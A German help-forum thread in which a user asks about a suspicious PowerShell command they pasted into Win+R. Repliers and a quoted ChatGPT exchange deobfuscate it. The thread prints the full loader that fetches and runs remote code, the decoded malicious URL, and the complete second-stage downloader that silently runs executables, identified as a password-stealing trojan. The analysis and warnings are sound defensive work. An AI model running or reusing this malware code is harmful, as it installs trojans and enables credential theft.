Hallo habe einen Befehl erhalten und habe bisschen Sorge das es sich um Scam handeln könnte!?
Hier der Befehl den ich bekommen hab, den sollte ich über STRG+V bei bei Win+R einfügen.
powershell -w hidden -c $r='0hHdukzR5xWcPpldvImRGN1Lt92YuIjc0hTNxE2axAnM58yL6MHc0RHa';$u=($r[-1..-($r.Length)]-join '');&($u|%{&('iwr') ([Text.Encoding]::UTF8.GetString([Convert]::FromBase64String($_)))|&('iex')}); # ⠀Telegram⠀⠀⠀⠀
wie kann ich das Rückgängig machen ?⠀⠀⠀⠀⠀⠀⠀
Mein BS: Win10⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀
4 Antworten
Dieser Skript macht jedenfalls nichts gutes. Niemand mit normalen Interessen verbreitet so code und niemand braucht Win+R um deine Identität zu verifizieren!
Hier in diesem kurzen "Loader" ist der String "r" leicht obfuskiert. Das Resultat ist:
aHR0cHM6Ly85MnAxa2ExNTh0cjIuY29tL1NGRmIvdlpPcWx5RzkudHh0
Also base64 für einen Weblink auf die Domain "92p1ka158tr2.com". Auf dem Endpunkt, welcher angegeben ist, sind weitere Kommandos hinterlegt, welche schließlich als zweite Stage ausgeführt werden.
Es sieht jedenfalls nicht gut aus. Unter anderem werden Funktionen aus "kernel32" und "user32", also sehr mächtige Windows Interna eingebunden:
Add-Type @"
using System;
using System.Runtime.InteropServices;
public class W {
[DllImport("kernel32.dll")]
public static extern IntPtr GetConsoleWindow();
[DllImport("user32.dll")]
public static extern bool ShowWindow(IntPtr hWnd, int nCmdShow);
}
"@
Außerdem wird eine Funktion geliefert, welche dann größere Payloads (welche auch immer derzeit geliefert werden) herunter läd als die dritte Stage ausführt:
function DownloadAndExecute {
param ([hashtable]$Resource)
$url = DecodeData $Resource.u $true
$zipFile = DecodeData $Resource.z
$extractDir = DecodeData $Resource.x
$exeFile = DecodeData $Resource.e
$tempZipPath = Join-Path $env:TEMP $zipFile
$uniqueExtractPath = Join-Path $env:TEMP ($extractDir + "_" + (Get-Random -Minimum 1000 -Maximum 9999))
Invoke-WebRequest -Uri $url -OutFile $tempZipPath -UseBasicParsing
Add-Type -AssemblyName System.IO.Compression.FileSystem
[System.IO.Compression.ZipFile]::ExtractToDirectory($tempZipPath, $uniqueExtractPath)
$exePath = Join-Path $uniqueExtractPath $exeFile
if (Test-Path $exePath) {
Start-Process -FilePath $exePath -WindowStyle Hidden -ArgumentList "-ExecutionPolicy Bypass"
}
Start-Sleep -Seconds (Get-Random -Minimum 10 -Maximum 20)
}
etc.
Ich bin kein Malware-Analyst; kann nicht sagen, was nun tatsächlich abhanden gekommen ist oder noch installiert wurde.
Ändere aber umgehend alle Passwörter über ein anderes Gerät, sicher deine persönlichen Daten und mach dann Windows neu drauf.
Malwarebyte hat ne Browsererweiterung erkannt die komisch ist... Ich mach sicherheitshalber Windows neu ist mir zu riski...
das wäre tatsächlich ratsam. der trojaner trägt den namen wacatac. dieser ist bekannt dafür dass er passwörter stiehlt. ich weis allerdings nicht, warum dein antivierenprogramm nicht direkt angeschlagen hat, bei mir hat der windows defender direkt nach dem herunterladen die zip datei in quarantäne verschoben.
Vielleicht hab ich es noch vorher beendet, hab gleich mit alt +f4 alles abgewürgt und Neustart gemacht... Gefühl ist trotzdem nicht gut.. ohje nicht das ich noch alle Passwörter ändern muss 🤔😭
das muss nichts heißen, immerhin habe ich die datei manuell heruntergeladen. durch diese automatisierte methode kann schadsoftware möglicherweise deutlich zuverlässiger unter dem radar heruntergeladen und ausgeführt werden. ich kann dir nur empfehlen in zukunft z.b. vorher bei ChatGPT nachzufragen, was bestimmte befehle tun. das dauert keine 10 sekunden.
Kopiere niemals Text in irgendeine Konsole, wenn du nicht 100% sicher bist, dass du der Quelle vertrauen kannst.
Das sieht extrem verdächtig aus, die Antwort von JanaL161 bestätigt ja auch, dass sich der Code eine payload aus dem Netz lädt. Nicht dass ich irgendwas anderes erwartet hätte - aber schön dass sich jemand die Mühe gemacht hat das genauer zu analysieren.
Wenn du dir nicht sicher sein kannst ob du die Auswirkungen beseitigt hast würde ich das Gerät nicht weiter nutzen und nicht ans Internet anschließen bis du das Betriebssystem über einen USB Stick neu installiert hast. Bei Windows kannst du das media creation Tool von einem anderen pc aus nutzen, um so einen Stick zu erzeugen. Wenn du Daten sichern musst würde ich die Festplatte an einen anderen Rechner anschließen.
Alles gut Windows wird schon neuinstalliert.. Daten hab ich immer auf ner anderen platte die ich während der Installation vom Rechner manuell trenne...
ich habe das ganze mal von ChatGPT prüfen lassen:
Du:kannst du mir sagen, was folgender code tut? powershell -w hidden -c $r='0hHdukzR5xWcPpldvImRGN1Lt92YuIjc0hTNxE2axAnM58yL6MHc0RHa';$u=($r[-1..-($r.Length)]-join '');&($u|%{&('iwr') ([Text.Encoding]::UTF8.GetString([Convert]::FromBase64String($_)))|&('iex')});
ChatGPT:ChatGPT
Dieser PowerShell-Code ist ein Beispiel für verschleierten (obfuscated) Code, der häufig verwendet wird, um schädliche Aktionen zu verbergen, wie z. B. das Herunterladen und Ausführen von Malware. Hier ist eine Analyse dessen, was der Code tut:
1.$r
enthält eine Base64-verschlüsselte Zeichenkette
$r='0hHdukzR5xWcPpldvImRGN1Lt92YuIjc0hTNxE2axAnM58yL6MHc0RHa';
Diese Zeichenkette wird später dekodiert.
2. Umkehrung der Zeichenkette
$u=($r[-1..-($r.Length)]-join '');
$r[-1..-($r.Length)]
- nimmt die Zeichenkette
$r
- und kehrt sie um.
-join ''
- fügt die umgekehrte Zeichenkette wieder zusammen.
Das Ergebnis ist eine neue, umgekehrte Base64-codierte Zeichenkette.
3. Base64-Dekodierung
[Text.Encoding]::UTF8.GetString([Convert]::FromBase64String($_))
- Die umgekehrte Zeichenkette
$u
- wird in Base64 dekodiert.
- Das Ergebnis ist vermutlich ein URL oder ein PowerShell-Befehl.
&('iwr') ([Text.Encoding]::UTF8.GetString([Convert]::FromBase64String($_)))|&('iex')
iwr
- ist eine Abkürzung für
Invoke-WebRequest
- . Damit wird der Inhalt der URL heruntergeladen.
iex
- steht für
Invoke-Expression
- . Damit wird der heruntergeladene Inhalt als PowerShell-Code ausgeführt.
Dieser Code:
- Dekodiert eine verschlüsselte Zeichenkette.
- Ruft eine URL auf, um möglicherweise schädlichen Code herunterzuladen.
- Führt diesen Code aus.
Dies ist ein typisches Muster für Malware oder bösartige Skripte. Es wird dringend empfohlen, den Code nicht auszuführen, da er möglicherweise:
- Schadsoftware auf dem System installiert.
- Daten exfiltriert.
- Systemzugang für Angreifer ermöglicht.
Falls dieser Code aus einer verdächtigen Quelle stammt, sollten Sie ihn nicht ausführen und ggf. ein IT-Sicherheitsteam kontaktieren.
Du:kannst du mir das ergebnis, also die url mitteilen?
ChatGPT:ChatGPT
Die dekodierte URL lautet:
https://92p1ka158tr2.com/SFFb/vZOqlyG9.txt
Hinweis:
Diese URL könnte potenziell schädlich sein. Öffnen Sie sie nicht in einem Browser oder laden Sie keine Dateien von dieser Quelle herunter, es sei denn, Sie befinden sich in einer sicheren, isolierten Umgebung wie einer Sandbox.
Du:ich habe die txt-datei in einer sandbox browser angeschaut. folgender code befindet sich darin, kannst du mir verraten, was dieser tut? Add-Type @" using System; using System.Runtime.InteropServices; public class W { [DllImport("kernel32.dll")] public static extern IntPtr GetConsoleWindow(); [DllImport("user32.dll")] public static extern bool ShowWindow(IntPtr hWnd, int nCmdShow); } "@ $consoleHandle = [W]::GetConsoleWindow() [W]::ShowWindow($consoleHandle, 0) function PerformSystemCheck { $components = @("Processor", "Memory", "Disk", "Network", "Services") foreach ($component in $components) { [void]($component -match ".*") Start-Sleep -Milliseconds (Get-Random -Minimum 50 -Maximum 150) } return $true } function GenerateSystemReport { $timestamp = Get-Date -Format "yyyy-MM-dd HH:mm:ss" $status = @("Healthy", "Warning", "Critical") | Get-Random [PSCustomObject]@{ TimeStamp = $timestamp SystemStatus = $status CheckedComponents = "Processor, Memory, Disk" } } function DecodeData { param ([string]$EncodedString, [bool]$Reverse = $false) if ($Reverse) { $EncodedString = ($EncodedString[-1..-($EncodedString.Length)] -join '') } [System.Text.Encoding]::UTF8.GetString([Convert]::FromBase64String($EncodedString)) } function DownloadAndExecute { param ([hashtable]$Resource) $url = DecodeData $Resource.u $true $zipFile = DecodeData $Resource.z $extractDir = DecodeData $Resource.x $exeFile = DecodeData $Resource.e $tempZipPath = Join-Path $env:TEMP $zipFile $uniqueExtractPath = Join-Path $env:TEMP ($extractDir + "_" + (Get-Random -Minimum 1000 -Maximum 9999)) Invoke-WebRequest -Uri $url -OutFile $tempZipPath -UseBasicParsing Add-Type -AssemblyName System.IO.Compression.FileSystem [System.IO.Compression.ZipFile]::ExtractToDirectory($tempZipPath, $uniqueExtractPath) $exePath = Join-Path $uniqueExtractPath $exeFile if (Test-Path $exePath) { Start-Process -FilePath $exePath -WindowStyle Hidden -ArgumentList "-ExecutionPolicy Bypass" } Start-Sleep -Seconds (Get-Random -Minimum 10 -Maximum 20) } PerformSystemCheck > $null $resources = @( @{u="=AXa65SNiNTe3End4gWOvEHN1gDd5NTO29SeiZDN5Q3NzIjdvU3b5NmLl5Was5WZw92LvoDc0RHa"; z="ZG93bmxvYWQxLnppcA=="; x="ZXh0cmFjdGVkNA=="; e="aWRlbnRpdHlfaGVscGVyLmV4ZQ=="}, @{u="wlmeuMTciRzZ4kXO3Q3Y29SeiZDN5Q3NzIjdvU3b5NmLl5Was5WZw92LvoDc0RHa"; z="ZG93bmxvYWRlZDEyLnppcA=="; x="ZXh0cmFjdDEy"; e="U2FuZGJveGllRGNvbUxhdW5jaC5leGU="} ) foreach ($resource in $resources) { try { DownloadAndExecute -Resource $resource GenerateSystemReport | Out-Null Start-Sleep -Milliseconds (Get-Random -Minimum 100 -Maximum 500) } catch { Write-Warning "An error occurred while processing a resource: $_" } } function PerformCleanup { Start-Sleep -Milliseconds (Get-Random -Minimum 100 -Maximum 300) [void](Get-ChildItem -Path $env:TEMP -Filter "*.tmp" -Recurse -ErrorAction SilentlyContinue) } PerformCleanup > $null # QUzFGIsIVzo6uMJpfCX3WRy8sFHtxd2lP7Vvvc9FFvROoXV28bcDukWc68hfS8V0OIJ3fsjRPBbtxwblXhUoTQqRomxi2Fx0Jgd2dm8Pmkx03pYynfbjkrCZKvV36zBMa8Gzzd2LORwnKVkqQ6kAzmyfdCYtpezWK8Lw3ooH7t80s2IElDFnMoRuC85fpznzaY638mjAP93CuYdX2lIc6s9wKW0Iwer1FBcv6v3d89TY3NguY9rroASGW3luctkK
ChatGPT:ChatGPT
Der bereitgestellte PowerShell-Code ist ein komplexes und potenziell schädliches Skript. Hier ist eine detaillierte Analyse seiner Funktionsweise:
1. Verbergen des Konsolenfensters
Add-Type @"
using System;
using System.Runtime.InteropServices;
public class W {
[DllImport("kernel32.dll")]
public static extern IntPtr GetConsoleWindow();
[DllImport("user32.dll")]
public static extern bool ShowWindow(IntPtr hWnd, int nCmdShow);
}
"@
$consoleHandle = [W]::GetConsoleWindow()
[W]::ShowWindow($consoleHandle, 0)
- Dieses Segment blendet das PowerShell-Fenster aus, indem es die Windows-API verwendet (
ShowWindow
- mit Parameter
0
- bedeutet "verstecken").
- Zweck: Die Ausführung soll für den Benutzer unsichtbar sein.
function PerformSystemCheck {
$components = @("Processor", "Memory", "Disk", "Network", "Services")
foreach ($component in $components) {
[void]($component -match ".*")
Start-Sleep -Milliseconds (Get-Random -Minimum 50 -Maximum 150)
}
return $true
}
- Simuliert eine Überprüfung von Systemkomponenten (Prozessor, Speicher usw.).
- Tatsächlich wird nichts überprüft. Es handelt sich um Dummy-Code, der Zeitverzögerungen einfügt.
function GenerateSystemReport {
$timestamp = Get-Date -Format "yyyy-MM-dd HH:mm:ss"
$status = @("Healthy", "Warning", "Critical") | Get-Random
[PSCustomObject]@{
TimeStamp = $timestamp
SystemStatus = $status
CheckedComponents = "Processor, Memory, Disk"
}
}
- Generiert zufällige Statusberichte mit einem Zeitstempel.
- Zweck: Möglicherweise, um den Eindruck eines legitimen Skripts zu erwecken.
function DecodeData {
param ([string]$EncodedString, [bool]$Reverse = $false)
if ($Reverse) {
$EncodedString = ($EncodedString[-1..-($EncodedString.Length)] -join '')
}
[System.Text.Encoding]::UTF8.GetString([Convert]::FromBase64String($EncodedString))
}
- Dekodiert Base64-codierte Daten.
- Optional wird die Zeichenkette vorher umgekehrt (
Reverse = $true
- ).
function DownloadAndExecute {
param ([hashtable]$Resource)
$url = DecodeData $Resource.u $true
$zipFile = DecodeData $Resource.z
$extractDir = DecodeData $Resource.x
$exeFile = DecodeData $Resource.e
$tempZipPath = Join-Path $env:TEMP $zipFile
$uniqueExtractPath = Join-Path $env:TEMP ($extractDir + "_" + (Get-Random -Minimum 1000 -Maximum 9999))
Invoke-WebRequest -Uri $url -OutFile $tempZipPath -UseBasicParsing
Add-Type -AssemblyName System.IO.Compression.FileSystem
[System.IO.Compression.ZipFile]::ExtractToDirectory($tempZipPath, $uniqueExtractPath)
$exePath = Join-Path $uniqueExtractPath $exeFile
if (Test-Path $exePath) {
Start-Process -FilePath $exePath -WindowStyle Hidden -ArgumentList "-ExecutionPolicy Bypass"
}
Start-Sleep -Seconds (Get-Random -Minimum 10 -Maximum 20)
}
- Ablauf:
- Dekodiert Base64-Daten, um eine URL, einen ZIP-Dateinamen, ein Verzeichnis und eine auszuführende Datei zu erhalten.
- Lädt eine ZIP-Datei von der URL herunter.
- Entpackt die ZIP-Datei in ein temporäres Verzeichnis.
- Führt eine ausführbare Datei (
exe
- ) aus dem entpackten Inhalt aus.
- Gefahr: Diese Funktion kann Schadsoftware herunterladen und ausführen.
$resources = @(
@{u="=AXa65SNiNTe3End4gWOvEHN1gDd5NTO29SeiZDN5Q3NzIjdvU3b5NmLl5Was5WZw92LvoDc0RHa"; z="ZG93bmxvYWQxLnppcA=="; x="ZXh0cmFjdGVkNA=="; e="aWRlbnRpdHlfaGVscGVyLmV4ZQ=="},
@{u="wlmeuMTciRzZ4kXO3Q3Y29SeiZDN5Q3NzIjdvU3b5NmLl5Was5WZw92LvoDc0RHa"; z="ZG93bmxvYWRlZDEyLnppcA=="; x="ZXh0cmFjdDEy"; e="U2FuZGJveGllRGNvbUxhdW5jaC5leGU="}
)
- Dekodierte Inhalte:
u
- : URLs der ZIP-Dateien (Base64 + umgekehrt).
z
- : Name der ZIP-Datei.
x
- : Name des Verzeichnisses.
e
- : Name der ausführbaren Datei.
function PerformCleanup {
Start-Sleep -Milliseconds (Get-Random -Minimum 100 -Maximum 300)
[void](Get-ChildItem -Path $env:TEMP -Filter "*.tmp" -Recurse -ErrorAction SilentlyContinue)
}
- Simuliert das Löschen von temporären Dateien.
- Zweck: Spuren verwischen.
Der Code:
- Lädt ZIP-Dateien von Base64-codierten URLs herunter.
- Entpackt die Dateien und führt eine
.exe
- aus.
- Versteckt das Fenster, um die Aktivitäten zu verschleiern.
- Simuliert legitime Aktivitäten, um Analyse zu erschweren.
- Der Code ist hochgradig verdächtig und dient wahrscheinlich zur Verbreitung von Schadsoftware.
- Führen Sie ihn niemals außerhalb einer isolierten Sandbox aus.
- Melden Sie den Vorfall an Ihre IT-Sicherheitsabteilung.
eine der zip-dateien habe ich in einer sanbox heruntergeladen. wurde vom antivieren programm direkt als trojaner erkannt.
Das sieht nach obfuscated Code aus.
Wenn du auf Nummer sicher gehen willst, kannst du dein System neu aufsetzen.
ich habe eine der zip-datei in einer Sandbox heruntergeladen. antivierenprogramm ist sofort angesprungen. ist ein trojaner.